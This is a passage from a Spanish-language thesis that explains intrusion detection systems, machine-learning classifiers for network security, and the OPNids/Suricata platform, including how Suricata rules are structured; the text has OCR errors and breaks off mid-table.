Un IDS es una herramienta de monitoreo de eventos de la red, en busca de posibles intrusiones,
utilizado para la seguridad informatica. EI IDS genera alertas hacia la consola de administracion
de red o sistema, dichas alertas pueden ser actividades maliciosas o violacion de politicas.
(Gopalkrishna et al., 2014, pp. 69) Los IDS trabajan identificando los posibles ataques, monitorea la

informacion; si ha sido comprometida por una intrusion, trata de terminar dicha intrusion en caso
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de ser un IDS/IPS, ya que no todos los IDS estan en la capacidad de detener una intrusién y

finaliza alertando, todo este proceso se realiza en tiempo real y de forma transparente. (Abdullah
et al., 2009, pp. 1-2)

Un intento de intrusién se entiende como la basqueda de comprometer los servicios de la
seguridad, es decir, la autentificacion, integridad y confidencialidad de los datos, disponibilidad,
entre otros. (Mira, 2001, pp.13) Segun la investigacion de IBM-X Force Threat Intelligence Index
2018 por lo general, el 95% de las intrusiones son causadas por descuido o errores humanos; en
un periodo de anélisis desde el 2015 hasta 2018 como se observa en el grafico 1-1, los circulos

indican el impacto economico aproximado por la filtracion de informacion financiera perdida.
(IBM, 2018, pp. 27)

4 o 4 %
& 'P\' > S
4 s e e
Attack types () Misconfig. Phishing [ Malware Undisclosed @ Physical access [ Brute force

Gréfico 1-1: Impacto de incidentes de seguridad como consecuencia de errores involuntarios.
Fuente: (IBM, 2018)

En la Figura 6-1 se observa un esquema basico de un IDS representado por dos grupos segun su
enfoque: Deteccion de uso indebido; son los sistemas basados en normas a través de la
comparacién de firmas y la deteccion de anomalias; son sistemas adaptables que utilizan técnicas

estadisticas. (Jiménez, 2009, pp. 17)

En la actualidad, con el auge de los ataques informaticos herramientas como los IDS se han vuelto
muy populares, cabe recalcar que un IDS no solucionaria todos los problemas de seguridad de
una empresa debido a su naturaleza de accion, es un sistema de defensa pasivo, por consecuencia
es un complemento a la seguridad de la informacion de un sistema, en el cual debe existir

diferentes formas de proteccion activas como, por ejemplo, Firewalls, Sistema de Prevencién de
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Intrusos (IPS), Machine Learning, Yara, encriptacion de datos, antivirus, antimalware, entre otros.
(Ashoor y Gore, 2011, pp. 6)
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'
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Generador de
alertas

\iHT

Figura 6-1: Esquema de IDS
Fuente: (Jiménez, 2009)

1.5.1. Antecedentes

El campo de la seguridad informética se ha desarrollado de menos a més, en los Gltimos 20 afios
la deteccién de intrusos de manera especifica a obtenido un crecimiento sustancial. En 1980,
James Anderson fue de los primeros en publicar su investigacion “Monitoreo y vigilancia de

amenazas de seguridad informatica”. (McHugh, Christie y Allen, 2000, pp. 42)

Entre 1983 y 1986, Dorothy Denning y Peter Neumann empezaron al desarrollo de IDS a nivel
gubernamental; la investigacién realizada permitid la creacion del primer IDS bautizado como
“Sistema Experto en deteccion de Intrusiones” o IDES por sus siglas en ingles. (Bruneau, 2019, pp.
3) A partir de los afios 2006 a 2010, como se observa en el Gréafico 2-1 los problemas cibernéticos
aumentaron de 5000 a 35000 aproximadamente, creando una necesidad de un control mejorado a

través de un IDS dentro del modelo de seguridad de red. (Ashoor y Gore, 2011, pp. 3-4)
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Gréfico 2-1: Reportes de ciber incidentes de la US-Cert

Fuente: (Ashoor y Gore, 2011)
Realizado por: Herrera, Jonathan 2021.

1.5.2. Tiposde IDS

Los IDS se clasifican en diferentes formas, en la Figura 7-1 se observa cuatro tipos principales
gue son: segun su enfoque, origen de datos, estructura y comportamiento, a continuacion, se

detallaran cada uno de ellos.

CLASIFICACION DE IDS

ORIGEN DE DATOS COMPORTAMIENTO

Deteccion de
anomalias

Deteccion de usos

Hibridos

iog

Figura 7-1: Métodos y clasificacion de IDS
Fuente: (Jiménez, 2009)

Realizado por: Herrera, Jonathan 2021.
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1.5.2.1. IDS segun su enfoque

Los IDS poseen dos enfoques fundamentales para su funcionamiento y un tercer enfoque de forma

hibrida, que son:

e Deteccion de mal uso o firmas

También conocida como deteccion de reglas, dicho enfoque se centra en la comparacion de los
comportamientos rutinarios de los usuarios versus los comportamientos sospechosos de los
intrusos que pretenden acceder a la red o sistema. (Stallings, 2004, pp. 311-312) La informacion
obtenida es comparada con grandes bases de datos de firmas las cuales contienen informacion de

atagues documentados, cabe recalcar que no es capaz de detectar ataques o intrusiones nuevas.
(Beal, 2005)

e Deteccion de anomalias

El enfoque basado en deteccién de anomalias consiste en el estudio de los comportamientos de
los usuarios reales en un periodo de tiempo, para definir perfiles de actividad individual que
ayuden a detectar cambios en caso de existir un ataque. Se realizan pruebas estadisticas para
desarrollar un mayor grado de veracidad y definir los limites para determinar la frecuencia de las
actividades, pero cabe mencionar que dicho enfoque posee una alta tasa de errores. (Stallings, 2004,
pp. 311)

e Hibrido

Un enfoque hibrido como su palabra lo indica, busca el funcionamiento en conjunto del enfoque
de mal uso o firmas y anomalias. El enfoque basado en anomalias quiere definir la aproximacion
a un comportamiento normal, pero con rendimiento inferior por otro lado la deteccion basada en
firmas pretende definir un rendimiento mejorado frente a ataques conocidos y vulnerable a
desconocidos. El uso de los 2 enfoques permitird enfrentar los maltiples ataques que existen en la

actualidad. (Stallings, 2004, pp. 312)

1.5.2.2. IDS segun el origen de datos
En esta clasificacion de igual manera que la anterior existen tres tipos de IDS, los cuales pueden

obtener eventos de varias fuentes de informacion, los IDS funcionaran a través del monitoreo y

captura de paquetes y otros por el analisis del sistema operativo nativo.
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e |IDS basado en host (HIDS)

Funciona a través del uso de la informacion del sistema operativo de un Gnico host, con el objetivo
de detectar procesos no autorizados. (Peluffo, Capobianco y Echaiz, 2014, pp. 2) Como se observa en la
Figura 8-1, los HIDS utilizan las bitacoras o logs generados de forma automatica por el sistema
operativo (SO) o las aplicaciones que ejecute el usuario. Ademas del analisis de logs principales
como son los de un servidor web, de correo, demonios de red inetd en caso de Linux y servicios
en Windows. El anélisis implica verificar la integridad de los ficheros importantes, como son el

de usuarios y contrasefias, permisos del sistema y tareas programadas. (Chabl¢, 2013, pp. 21)

Registro de eventos - s
en biticoras * Analisis de datos
v * Respuesta
Administrador de
HIDS Red

Figura 8-1: IDS basado en host
Fuente: (Chablé, 2013)

Realizado por: Herrera, Jonathan 2021.

e IDS basados en red (NIDS)

Se enfoca en el monitoreo, captura y analisis del trafico de red al cual se encuentra conectado,
con una deteccidn en tiempo real de las conexiones entrantes y salientes. (Gopalkrishna, et al., 2014,
pp. 70) Los NIDS son trasparentes para la red, es decir, no interfieren en el funcionamiento, para
realizar el anélisis utiliza cominmente un switch con un puerto o puertos en modo promiscuo, el
cual sera el encargado de enviar todo el tréfico de red hacia el NIDS, el mismo que almacenaré la
informacion de los paquetes en busqueda de patrones de ataque y generar una alerta, dicho

proceso se evidencia en la Figura 9-1. (Chablé, 2013, pp. 23)
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Figura 9-1: IDS basado en red
Fuente: (Chablé, 2013)
Realizado por: Herrera, Jonathan 2021.

e DS hibridos

Como su nombre lo indica es una combinacion entre un IDS de host y red. Se junta lo mejor de
ambas arquitecturas para salvaguardar una infraestructura que serd monitoreada en conjunto y de

forma local.

1.5.2.3. IDS segun su estructura

e IDS centralizado

Este IDS se caracteriza por la administracion a través de un sistema central, toda la informacion
es enviada por sensores implementados en lared. En la Figura 10-1 se observa un sensor por cada

segmento de red y un Gnico administrador.

.I.D """""""" _1_@

Sensor IDS Sensor IDS

ConsoclaIDS
central

i .

Sensor ID3 Sensor IDS

Figura 10-1: IDS centralizado
Fuente: (Instituto Nacional de Ciberseguridad, 2017)
Realizado por: Herrera, Jonathan 2021.
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e IDS distribuido

Es la evolucidn de un sistema centralizado; estos producian un notable degrado en el rendimiento
por su analisis a toda la red. Los IDS distribuidos monitorean la red, pero poseen colectores de
eventos los cuales son canalizados a la consola de administracion. Este tipo de IDS como se

aprecia en la Figura 11-1 pretende proporcionar una vision globalizada de un sistema. (Jiménez,
2009, pp. 9)

Consola IDS

Colector de
eventos

o« - -,

i

-l -l
Sensor IDS Sensor IDS

Figura 11-1: IDS distribuido

Fuente: (Instituto Nacional de Ciberseguridad, 2017)
Realizado por: Herrera, Jonathan 2021.

1.5.2.4. 1DS segln de su comportamiento

e IDS pasivo

A través de su andlisis a la red y en caso de detectar una intrusion Gnicamente genera alertas hacia
la consola de administracion mas no actla sobre la amenaza. Se necesita del personal capacitado

para observar y responder en el momento exacto. (Instituto Nacional de Ciberseguridad, 2017, pp.31)

e IDS activo

Conocido como IPS, se diferencia de un IDS en su forma de respuesta, ademas de generar alertas
de una posible intrusion permite responder a las mismas con manejo simultaneo de Firewalls y
routers, podra crear reglas y aplicar métodos tanto ofensivos como defensivos al instante y de

forma automatica. (Instituto Nacional de Ciberseguridad, 2017, pp. 31)
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1.5.3. Técnicas actuales de deteccidn de trafico malicioso en redes corporativas

Tanto los IDS basados en Host, Red e Hibridos estan destinados a proveer beneficios para mejorar

a la seguridad de la red o el sistema de una organizacién, empresa o corporacion, pero dichos IDS

trabajan bajo la conformacion de reglas estaticas definidas por el desarrollador, comunidad libre

0 usuarios. Las reglas configuradas en los IDS son producto de pruebas y analisis con un uso

especifico, por esta razon crear nuevas reglas para ataques sofisticados implica un gran desgaste

de recursos, tiempo y talento humano. (Peluffo, Capobianco y Echaiz, 2014, pp. 2-3)

En la actualidad existen varias técnicas estudiadas para poder ser utilizadas con un IDS creadas

segln la necesidad del usuario y el ambiente de red cooperativa dentro del cual se encuentra

operando, en la Tabla 3-1 se resumen las técnicas existentes en la actualidad.

Tabla 3-1: Técnicas actuales

Técnicas

de los IDS

Funcionamiento

Redes Neuronales
Avrtificiales (ANNS)

Machine Learning

Tablas de Estado de

Transmision

Algoritmos  Genéticos
(GASs)

Red Bayesian

Las ANNs permiten crear patrones flexibles, dichos patrones
arbitrarios seran datos de entrada que servirdn para entrenar al
sistema que buscara coincidencias con la salida para determinar si
ha existido 0 no una intrusion.

La implementacion de algoritmos supervisados y no supervisados
de clasificacion capaces de mejorar la deteccidn de intrusos en
tiempo real a través de un entramiento por un conjunto de datos.
Permite observar las acciones realizadas por un intruso dentro del
sistema y representadas en forma de diagrama de estado, al
coincidir con un estado corrompido se detecta la intrusion.
Pretende imitar el sistema de seleccion natural, es decir, el més
fuerte sobrevive, en otras palabras, busca crear una firma capaz de
reconocer patrones de intrusion.

Se introducen modelos gréaficos con reglas de transicion para la
creacion de una tabla probabilistica con variables en cada nodo,

puede contener datos incompletos.

Fuente: (Ahmad et al. 2014, pp. 22), (Al-Subaie y Zulkernine, 2006, pp. 3)

Realizado por: Jonathan Herrera, 2021.

Como se detalla en la Tabla 3-1 existe varias técnicas para la deteccion de intrusos, sin embargo,

en la investigacion realizada

se detalla que no todas se pueden implementar, en primer lugar,
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dependera de la capacidad de integracion que exista entre la técnica y la herramienta IDS a
utilizar, es decir, el trabajo de programacion para implementar alguna de las técnicas en un IDS
Open Source como pueden ser Suricata, Snort o Zeek; los méas utilizados en el mercado. En
segundo lugar, es escoger la técnica de IDS, se debe analizar los diferentes recursos informaticos
(software y hardware) que va a consumir el despliegue de la técnica en conjunto con el IDS, de
las mencionadas en la Tabla 7-1 Redes Neuronales Artificiales, Algoritmos Genéticos y Red
Bayesian son aguellas que necesitan de grandes recursos ademds de un gran estudio para su
correcto funcionamiento, en el mercado no existe ningln IDS que utilice este tipo de técnicas.
Machine learning y Tablas de Estado de Transmision de igual manera necesitan de recursos
informaticos, pero en menor medida que las otras tres técnicas; Tablas de estado es una técnica
poco desarrollada y no se ha implementado estudios para integrarlo con otras herramientas, lo
contrario sucede con machine learning que en la actualidad posee muchos estudios y sus utilidades
se desarrollan en todos los campos de la informética, la seguridad informatica es uno de ellos y
por tal razén la plataforma OPNids integro esta técnica. En busca de la autonomia de los IDS se
propone la inclusion de técnicas Machine Learning, el cual cuenta con un amplio campo de
desarrollo aplicable a todo nivel, la seguridad de redes no es la excepcion obteniendo resultados,
como, por ejemplo, deteccion de tarjetas de crédito falsas, defensa contra el cyber-terrorismo,

deteccidn de botnets, entre otros. (Thuraisingham et al. 2008, p. 585)

1.6. Machine Learning

Los programas informaticos fueron creados para satisfacer las necesidades de los usuarios y
cumplir tareas especificas; dichas tareas son procesos transparentes para el usuario pero que el
computador ejecuta y cumple con el objetivo programado. El campo del ML se enfoca a un nivel
superior de cémo construir programas informaticos que aprendan autométicamente con
experiencia. Se asume que un programa informatico aprende de la experiencia “E” con respecto
a alguna clase de tarea “T” y alguna medida de rendimiento “P”, si su rendimiento en “T”, medido
por “P”, mejora con la experiencia “E”. (Mitchell, 1997, pp. 11-12) Por lo tanto, los algoritmos de ML
se alimentan de forma automatica de cierta informacion proporcionada por el sistema analizado.
Desafortunadamente, su veracidad depende de la cantidad y calidad de los datos con los cuales
son entrenados. Por esta razon se debe escoger la fuente correcta para alimentar los algoritmos de

ML y obtener resultados precisos. (Hall y Smith, 1996, pp. 1)

Este aprendizaje personalizado se puede utilizar para hacer predicciones sobre cualquier
tendencia social en el futuro y para proporcionar informacién sobre el comportamiento natural de

los conceptos objetivo. Los conceptos que manejan los algoritmos de ML, en primera fase siendo
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entrenados a través de datos de ejemplo, para establecer caracteristicas y relaciones que seran
puestas a prueba en la fase dos, que consiste en la clasificacion en grupos segln las caracteristicas
detectadas. El éxito de un algoritmo de ML para cumplir con su determinada tarea depender, de
lo mencionado en parrafos anteriores; la cantidad y calidad de los datos manejados esto se logra

en la fase de andlisis de datos, filtrando la informacidn para ajustar un algoritmo sofiado. (Hall y
Smith, 1996, pp. 1)

En el Grafico 3-1 se observa que Machine Learning no es un concepto aislado, al contrario, es un
conjunto de aportes de varias ramas como: la estadistica; con sus modelos estadisticos versus la
mineria de datos; con algoritmos de aprendizaje automatico, estableciendo enlaces hacia las redes
neuronales modernas; las cuales estan fuertemente ligadas a la neurociencia computacional y

cognitiva. Sin dejar de lado a la Inteligencia artificial como origen del Machine Learning.

Ciencia
computacional

N

Machine
Learning

Inteligencia

Nuerociencia Artificial

S

Estadisticas &
Mineria de datos

Gréfico 3-1: Machine Learning y relacion con otras ramas

Realizado por: Herrera, Jonathan 2021.

1.6.1. Machine Learning en la seguridad informética

Machine Learning y sus algoritmos estadisticos no fueron desarrollados con el objetivo de ser
aplicados en la seguridad informaética, sin embargo, su gran potencial de procesamiento de datos

ha generado la adaptacion de estos para cumplir funciones de seguridad.

Cabe recalcar, que el ML no sera la varita magica en la seguridad informética en comparacion
con el reconocimiento facil o procesamiento del lenguaje; campos con fuerte presencia y
resultados positivos. Siempre existird individuos en busca de vulnerabilidades en los sistemas o

los algoritmos de ML para evadir los mecanismos de defensa. (Polyakov, 2018)
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Ademas, en la actualidad los atacantes utilizan algoritmos de ML en ofensiva, es decir, son
utilizados para evadir la deteccion y defensas del sistema, aprendiendo el comportamiento de
estas y con la capacidad de hacer que sus algoritmos sean entrenados de forma errénea. Por tal

motivo métodos adaptativos y dindmicos siempre conllevan un riesgo en la seguridad. (Chioy
Freeman 2018, p. 11-12)

El aprendizaje automatico en la seguridad informatica se puede clasificar en dos categorias que

son:

1.6.1.1. Reconocimiento de patrones

El reconocimiento de patrones busca detectar caracteristicas explicitas u ocultas en la
informacion. Dichas caracteristicas son separadas por conjuntos de caracteristicas semejantes, los
cuales sirven de ejemplo, para entrenar a los algoritmos a detectar en otro tipo de datos que

presentan similitud al conjunto de entrenamiento. (Chio y Freeman, 2018, pp. 12)

1.6.1.2. Deteccion de anomalias

La deteccion de anomalias no quiere depender de aprender patrones especificos que determina un
cierto conjunto de datos, el objetivo es crear una proyeccion de normalidad que describa la
mayoria de un conjunto de datos dado. Establecido dicho umbral de normalidad, cualquier

desviacioén sera considerada una anomalia. (Chio y Freeman, 2018, pp. 12-13)

1.6.2. Enfoques de Machine Learning

Con el conocimiento sobre el Machine Learning en la seguridad informatica es necesario conocer
el enfoque de sus algoritmos y el manejo de los datos. En una red poder diferenciar todo el trafico
normal versus el potencialmente malicioso es casi imposible, como saber si un archivo contiene
malware, si una solicitud a los servidores es un ataque de Denegacion de Servicio (DoS) o si una
conexion saliente es un bot que pretende conectarse a un servidor de Command — Control. (Chioy
Freeman 2018, p. 26) Por tal motivo el aprendizaje automaético se divide en dos principales categorias

para la solucion de tareas, estos son: algoritmos supervisados y no supervisados.

1.6.2.1. Algoritmos de machine learning supervisados

Los algoritmos de aprendizaje supervisado necesitan hacer uso de la informacidn histérica del

sistema, la cual posee caracteristicas definidas que serviran para entrenar el algoritmo.
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Figura 12-1: Aprendizaje supervisado
Fuente: (Hendrickx, 2005)

Realizado por: Herrera, Jonathan 2021.

Como se observa en la Figura 12-1, un algoritmo de ML supervisado esta formado por tres partes:
un mddulo de aprendizaje, un modelo y un médulo de clasificacion. EI médulo de aprendizaje
crea un modelo basado en un conjunto de caracteristicas para entrenamiento con etiquetas. Este
modelo consta de una funcidn construida por el médulo de aprendizaje y contiene un conjunto de
asignaciones asociativas; la informacion de tal conjunto es obtenida de los “logs” almacenados
del sistema. (Hendrickx, 2005, pp. 2) Estas asignaciones, cuando se ejecutan a un conjunto de prueba
no etiquetado, predicen las etiquetas, la exactitud dependera del nivel de entrenamiento del
modelo, es decir, la informacién con la que fue alimentado el mddulo de aprendizaje debera ser
lo suficientemente precisa y en gran cantidad para obtener resultados reales. La prediccién de las

etiquetas del conjunto de prueba lo realiza el médulo de clasificacion. (Hendrickx, 2005, pp. 2)

1.6.2.2. Algoritmos de machine learning no supervisados

Los algoritmos de ML no supervisados son un enfoque basado en datos, a diferencia del
aprendizaje supervisado, este algoritmo se entrena a través de datos no etiquetados, con la mision
de que el algoritmo sea capaz de predecir patrones para clasificar un conjunto de datos. (Lépez,
2015) El objetivo del aprendizaje no supervisado puede ser agrupar ejemplos en funcion de su

similitud. (Hendrickx, 2005, pp. 2)
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1.6.3. Tareas de Machine Learning

Existen varios métodos para realizar las diferentes tareas de Machine Learning. Las tareas de
clasificacion y regresién son aprendizaje supervisado, como la agrupacion o clusters y reduccion
dimensional son una forma de aprendizaje no supervisado. (Chio y Freeman, 2018, pp. 26) En el
presente trabajo de titulacion se utilizara tareas o algoritmos de clasificacion por su naturaleza y
como su nombre lo dice se basan en la clasificacion de manera muy precisa a los diferentes tipos
de variables que puede presentar un conjunto de datos y en este caso especifico los tipos de
atagues o0 amenazas informaticas. A continuacion, se explica la tarea de clasificacion y dos de sus

algoritmos mas utilizados los mismos que se encuentran integrados en la plataforma OPNids.

1.6.3.1. Clasificacién

En la tarea de clasificacion de eventos en el trafico de red, el algoritmo de ML supervisado ya
entrenado con informacion de posibles ataques pasados busca asociarlos a eventos futuros. La
clasificacidn puede ser binaria, en la que solo se identifica dos clases, 0 multi categoria; en el caso
de que un objeto posea variantes como, saber qué clase de malware es: ransomware, un keylogger
0 un troyano de acceso remoto. (Chio y Freeman, 2018, pp. 26) La Figura 13-1 muestra una
clasificacion binaria, en la que el algoritmo supervisado de clasificacion logra indentificar las
variables categoricas y asi precedir las variables discretas, como resutado se obtiene la

clasificacion. (Epicalsoft Instance, 2018)

~

S ++1Hj
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Figura 13-1: Algoritmo de clasificacion
Fuente: (Epicalsoft Instance, 2018)

A continuacion, se describen los dos algoritmos de ML supervisados de clasificacién que se
encuentran en la plataforma OPNids y estudiaremos cual es mejor para ser utilizado en la red de
la FIE.
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Regresion logistica

La regresion logistica es un algoritmo de clasificacion utilizado para predecir la probabilidad de
una variable dependiente categdrica. La variable dependiente es del tipo binaria que puede
contener valores codificados como 1 — 0, si — no, verdadero — falso. Este algoritmo calcula la
probabilidad de una respuesta binaria basada en una 0 méas variables independientes. (Gonzéles,
2018a)

Al tratar con problemas de clasificacién binaria Unicamente se obtendra dos posibles valores, por
lo tanto, existe un valor de umbral el cual determinara la clasificacion, si supera el umbral la
variable obtendréa el valor de 1, caso contrario sera 0, dicho umbral por lo general es de 0.5 el cual
puede ser ajustado conforme los requerimientos para reducir los falsos positivos y negativos. La
variable dependiente se relaciona con la variable independiente a través de la funcion sigmoide,
como se observa en la Figura 14-1 es una curva en forma de S que puede tomar cualquier valor

entre 0 y 1. (Rodriguez, 2018a)

1,00

0,75

0,50

0,25

0,00
-1,00 -0.75 -0,50 -0,25 0,00 0,25 0,50 0,75 1,00

Figura 14-1: Funcion sigmoide
Fuente: (Rodriguez, 2018)

La regresion logistica es un algoritmo popular, a pesar de los algoritmos avanzados como redes
neuronales profundas, es escogido por su bajo consumo de recursos en hardware y software, su
eficiencia depende del entrenamiento realizado a través de una gran cantidad de datos, es capaz
de manejar miles de caracteristicas. (Gonzales, 2018a) Ademas, se debe conocer ciertas
caracteristicas importantes para cumplir con un desempefio correcto del algoritmo supervisado de

regresion logistica, que son:
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e Lavariable de salida debe ser del tipo binario.

e Elalgoritmo no es capaz de detectar los errores en la variable de salida, es decir, debe existir
un proceso de limpieza de datos, eliminar valores atipicos y posibles relaciones entre
categorias del conjunto de entrenamiento. (Gonzéles, 2018a)

e La regresion logistica es un algoritmo lineal, con una transformacion no lineal en la salida.
Las transformaciones de datos de sus variables de entrada que exponen mejor esta relacion
lineal pueden dar como resultado un modelo mas preciso. (Gonzéles, 2018a)

e Eliminar las caracteristicas que presentan multicolinealidad, las variables deben ser

independientes entre si. (Chio y Freeman, 2018, pp. 41)

Bosques aleatorios (Random Forest)

El algoritmo de bosques aleatorios 0 Random Forest esta formado por varios arboles de decision
individuales y que en conjunto forman un bosque como se observa en la Figura 15-1, cada arbol
utiliza los mismos nodos, pero con diferentes datos que conducen a diferentes hojas. Combina las
decisiones de multiples arboles de decision para encontrar una respuesta, que representa el

promedio de todos los arboles involucrados. (Schott, 2019)
\ P
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}!

Figura 15-1: Algoritmo Random forest
Fuente: (Schott, 2019)

Los arboles de decisidn son versatiles al momento de tratar con variables continuas o categéricas
ya que no necesitan de un continuo entrenamiento para predecir y modelar los datos. Sin embargo,

su desventaja se presenta al momento en que dichos arboles crecen de manera profunda llegando
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a fallar en sus predicciones hasta el punto de provocar un sobreajuste. (Aguirre, 2019b) Al igual que
todos los modelos de aprendizaje automatico los arboles de decision también sufren de problemas
de sesgo o bias y varianza; donde el sesgo es la diferencia entre los valores pronosticados y los
valores reales y la varianza es la diferencia de la prediccion de un modelo al ser entrenado con un
conjunto diferente de datos. (Orellana, 2018)

Los valores de sesgo y varianza variaran dependiendo el modelo, es decir, si se aumenta la
complejidad del modelo, el sesgo se reduce y aumenta la precision, pero una vez que este modelo
se vuelva mas robusto producird un sobre ajuste y la varianza sera alta. (Orellana, 2018) Por esta
razén un arbol de decision tiende a ser un estimador con bajo sesgo, pero alta varianza. (Aguirre,
2019b) En la Figura 16-1 se observa el concepto de un modelo 6ptimo en donde se busca un punto
medio entre el sesgo y la varianza, a esta técnica se la conoce como trade-off o equilibrio, para

lograr esto se utiliza métodos ensambladores (ensembles). (Orellana, 2018)

Bias-Variance Trade Off

Total Error

Variance

Optimum Model Complexity

Error on Test Set

Bias

O

v

underfit Model Complexity overfit

Figura 16-1: Modelo 6ptimo
Fuente: (Orellana, 2018)

Un ensamble es la combinacidn de multiples modelos que analizan muestras diferentes, por cada
modelo agregado se reduce de forma considerable el error general al tener menor varianza.
Existen 3 métodos de ensamble Bagging, Boosting and Stacking, pero el mas utilizado para
Random forest es bagging. (Aguirre, 2019b) Bagging es una técnica usada para reducir la varianza
de las predicciones a través de la combinacion de los resultados de varios clasificadores, cada uno
de ellos modelados con diferentes subconjuntos tomados de la misma muestra. La Figura 17-1

representa esta técnica. (Orellana, 2018)
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Figura 17-1: Técnica bagging
Fuente: (Orellana, 2018)

1.6.4. Comparacion de algoritmos de machine learning en la plataforma OPNids

Una vez estudiada la teoria de los dos algoritmos de clasificacion existentes en la plataforma
OPNids se realiza una comparativa entre los mismos para analizar sus ventajas y desventajas y

obtener un mejor criterio de decision, a continuacidn, en la Tabla 4-1 se detalla de mejor manera.

Tabla 4-1: Comparativa de algoritmos ML de clasificacion

Caracteristicas Algoritmos
Regresion Logistica Random Forest
Clasificacion de variables binaria Si Si
Clasificacidn de variables multiples No Si
Reduccion de sobre ajuste No, pero se puede logar con un Si

correcto dataset y entrenamiento

Costo de hardware y software alto No Si
Dataset de gran volumen No Si
Tiempo de entramiento Bajo Alto

Realizado por: Herrera, Jonathan 2021.

En la Tabla 4-1 se puede apreciar ciertas caracteristicas importantes que posee cada algoritmo si
bien en la mayoria el algoritmo de Random Forest es el ganador y se consideraria el mejor hay
que tener en cuenta que una de sus principales desventajas es el costo de hardware y software y a
la vez el tiempo de entramiento son problemas muy importantes que deben ser tomados en cuenta
al momento de implementar dicho algoritmo y que con su correcta supervision se lograra

resultados muy precisos. Por el contrario, el algoritmo de regresion logistica es muy bueno en
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cuanto a su nivel de consumo de recursos y tiempo, pero con una desventaja importante es que
no necesariamente necesita un gran volumen de datos para su entrenamiento exponiéndolo a un
gran margen de error ademas de que para realizar la clasificacion tnicamente lo hace de manera
binaria. Los dos algoritmos son muy buenos en diferentes casos de estudio, si bien se podria
escoger el algoritmo de regresion logistica por su ventaja en el consumo de recursos no seria una
garantia ante el nivel de clasificacidn que se quiere obtener, por el contrario, Random forest al ser
un algoritmo mas robusto, con capacidad de analizar y clasificar maltiples variables en conjunto
con sus multiples arboles de decisidon nos acerca hacia un menor grado de error y es el que se

utiliza en el presente trabajo de titulacion.

1.7. OPNids

OPNids es un sistema de deteccion de intrusos (IDS) de cddigo abierto, facil de usar, que
representa la primera integracion de Suricata Signature Inspection con un motor de secuencias de
comandos de aprendizaje automatico (Dragonfly MLE). (OPNids, 2018)

OPNids incluye la mayoria de las funciones disponibles en los costosos sistemas comerciales de
deteccion de intrusiones y mas en muchos casos. La inclusion de Machine Learning Scripting
Engine representa la innovacion para la comunidad de cddigo abierto al permitir un camino para
que Data Science Security Analyst aproveche el motor de deteccién de red basado en Suricata
maduro y robusto mientras experimenta con los modelos de amenazas de aprendizaje automatico
en la primera plataforma con un Motor de secuencias de comandos de aprendizaje automatico de

cddigo abierto. (OPNids, 2018)

1.7.1. Herramientas de la plataforma OPNids
La plataforma OPNids en su interfaz grafica de control y administracion cuenta con varias

herramientas configurables, como se observa en la Figura 18-1 a continuacion, se explicaran y

analizaran las utilizadas en esta investigacion.

Dashboard o

Figura 18-1: Interfaz de administracion OPNids
Realizado por: Herrera, Jonathan 2021.
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1.7.2. Suricata IDS

Suricata es un motor de deteccion de amenazas de red Open Source que proporciona capacidades

que incluyen deteccion de intrusos (IDS), prevencion de intrusos (IPS) y monitoreo de seguridad

de red. Funciona muy bien con la inspeccion profunda de paquetes y la coincidencia de patrones,

lo que lo hace increiblemente util para la deteccion de amenazas y ataques. Suricata pertenece a

la Open Information Security Foundation (OISF). (Bricata, 2019) Las caracteristicas de Suricata se

detallan en la Tabla 5-1.

Tabla 5-1: Caracteristicas de Suricata IDS/IPS

Caracteristica

Descripcion

Multi-Threading

La caracteristica principal y por la cual suricata es considerado
uno de los mejores IDS/IPS es Multi-Threading consiste en
procesamiento de paquetes en uno 0 mas hilos aprovechando el
procesamiento malti-nucleo de un procesador actual, potenciando
su capacidad de deteccion. Esto no es posible realizar en IDS/IPS

Uni- Threading

Estadisticas de

rendimiento

Modulo que se encarga de registrar y almacenar nuevos eventos
para ser presentados como estadisticas. Este mddulo recolecta
datos como: bytes/sec, packets/sec, alerts/sec, dropped packets,

entre otros.

Deteccion de protocolos

automatico

Suricata maneja palabras clave para protocolos como: IP, TCP,
UDP, HTTP, ICMP, FTP, TLS y SMB con el objetivo de detectar
en un flujo de datos. Este mddulo es efectivo para la deteccion de

malware.

Métodos de entrada

estandar

Soporte para NFQueu, IPFRing y LibPcap standard para la

captura de trafico.

Unified2 Output

Soporte para métodos y herramientas de salida estandar unified2.

Fast Ip matching

Utiliza un preprocesador para validar mas rapido las reglas que
marquen coincidencia de IP, por ejemplo, RBN o las listas IP de

Emerging Threats.

Aceleracion por tarjetas

de video

Utilizando CUDA y OpenCL se puede utilizar el poder de
procesamiento de las tarjetas graficas para liberar recursos del

procesador.

Windows Binaries

Compatible con el sistema operativo de Windows.
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Tabla 5-1 (continuacion)

Modulos de deteccion | Ademas de analizar paquetes Suricata es capaz de examinar

extendidos certificados TLS/SSH, peticiones DNS vy solicitudes HTTP
Fuente: (Astudillo, Jimenez y Ortiz, 2011, pp. 15-19)

Realizado por: Herrera, Jonathan 2021.

Suricata como todo IDS/IPS basado en firmas necesita un conjunto de reglas para la deteccion de
paquetes por esta razdn es importante conocer y entender la forma como esta formada una regla
y su funcionamiento, por lo general se utilizan reglas existentes y a su vez es posible crear reglas
especificas segln el requerimiento de la red analizada. Una regla o firma esta formada por tres
partes:

e Action (Accion): Determina la accion a tomar cuando existen una coincidencia o match.

e Header (Cabecera): Se define el protocolo, direcciones IP,puertos y direccién de la regla.

En la Figura 31-1 el texto resaltado de color verde representa la cabecera, en él se encuentran
diferentes parametros que suricata buscara coincidencias al momento del andlisis, en primer
lugar, se tienen los diferentes protocolos como TCP, UDP, ICMP y también los protocolos
de capa de aplicacion como HTTP, FTP, TLS, DNS, entre otros. (OISF, 2016a)
A continuacién, el parametro de direccion IP de origen (SHOME_NET) y destino
(SEXTERNAL_NET) bajo los nombres por defecto. Y para finalizar la cabecera se tiene los
puertos de origen y destino, estos cambiaran segun el protocolo y pueden ser el puerto 80 de
HTTP o el 443 de HTTPS, entre otros. (OISF, 2016a)

¢ Rulesoptions (Opciones de reglas): Detalles de laregla. En la Figura 16-1 el texto resaltado

de azul son las diferentes opciones que varian dependiendo hacia donde esta orientada. (OISF,
2016a)

En la Figura 19-1 el texto resaltado de color rojo es la accién, esta propiedad define el

comportamiento de la alerta, existen cuatro opciones, que son detalladas en la Tabla 6-1: (OISF,
2016a)

Tabla 6-1: Acciones de las reglas de un IDS/IPS

Accibn Descripcion

Pass (Pasar) | Si la regla/firma coincide Suricata deja de analizar el paquete y salta de hacia

el siguiente.
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Tabla 6-1 (continuacion)

Drop Esta propiedad se utiliza mas en el modo IPS y al momento de coincidir
(Bloquear) Suricata bloquea el paquete y no se enviard mas, muchas veces esta accion
